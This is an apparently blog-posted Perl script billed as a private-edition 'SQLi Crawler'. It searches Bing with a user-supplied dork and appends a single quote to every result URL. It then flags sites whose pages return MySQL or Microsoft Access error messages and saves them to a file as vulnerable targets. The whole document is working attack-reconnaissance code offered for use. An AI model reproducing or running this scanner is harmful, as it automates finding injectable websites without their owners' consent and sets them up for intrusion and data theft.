SQLi Crawler










#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Request;
use LWP::UserAgent;
######
my $dork;
my $url;
my $i;
my $request;
my $useragent;
my $response;
my $start;
my $end;
my $result;
my $fl;
my $link;
my $req;
my $ua;
my $result2;
my $res;
my $save;
my $pages;
my $page;
my $choice;
######
my @z;
print q{
     _ ____      _  
    | |  _ \      | | 
  __| | |_) | ___ | |_
/ _` |  _ < / _ \| __|
| (_| | |_) | (_) | |_
\__,_|____/ \___/ \__|
######
##      / SQLi Crawler /      ##
##      Private Edition      ##
##      ~Coded by dbx~      ##
######
};
MainMenu:
print "------\n";
print "Enter [1] To Begin SQLi.\n";
print "Enter [2] To Exit.\n";
print "------\n\n";
print "Your Choice: ";
chomp ($choice = <STDIN>);
print "\n";
if ($choice eq 1) {&sql_scan}
if ($choice eq 5) {die;}
sub sql_scan
{
print "[+] Enter Bing! dork: ";
chomp ($dork = <STDIN>);
print "\n";
print "[+] How Many Pages To Leech?: ";
chomp ($pages = <STDIN>);
print "\n";
$page = $pages.'1';
print "[~] Crawling...\n\n";
for ($i = 0; $i <= $page; $i=$i+11)
{
$url = "http://www.bing.com/search?q=$dork&go=&qs=n&sk=&sc=8-13&first=$i";
$request = HTTP::Request->new(GET => $url);
$useragent = LWP::UserAgent->new();
$response = $useragent->request($request);
$result = $response->content;
$start = '<h3><a href="';
$end = '" onmousedown=';
while ($result =~ m/$start(.*?)$end/g)
{
     $fl = $1;
     $link = $fl."%27";
     $req = HTTP::Request->new(GET => $link);
     $ua = LWP::UserAgent->new();
     $res = $ua->request($req);
     $result2 = $res->content;
      if ($result2=~ m/You have an error in your SQL syntax/i || $result2=~ m/Query failed/i || $result2=~ m/SQL query failed/i || $result2=~ m/mysql_fetch_/i || $result2=~ m/mysql_fetch_array/i || $result2 =~ m/mysql_num_rows/i || $result2 =~ m/The used SELECT statements have a different number of columns/i )
      {
      push @z, $link;
      print "[+] MySQL Vulnerable: $link\n\n";
      }
      elsif ($result2 =~ m/Microsoft JET Database/i || $result2 =~ m/ODBC Microsoft Access Driver/i )
      {
      push @z, $link;
      print "[+] MsSQL Vulnerable: $link\n\n";
      }
      else {
            print "[-] $link <- Not Vulnerable\n\n";
      }
}
}
    print "Vulnerable Links:\n";
    print "------\n";
foreach (@z)
{
    print "$_ \n\n";
}
print "Save Into A Text File? (Y or N): ";
chomp ($save = <STDIN>);
if ($save eq 'Y')
{
    print "Saving File...\n\n";
    open(vuln_file, ">>Vulns.txt");
    foreach (@z)
    {
      print vuln_file "$_ \n";
    }
    close(vuln_file);
    print "File Saved!\n\n";
}
goto MainMenu;
}

0 comentarios:

Publicar un comentario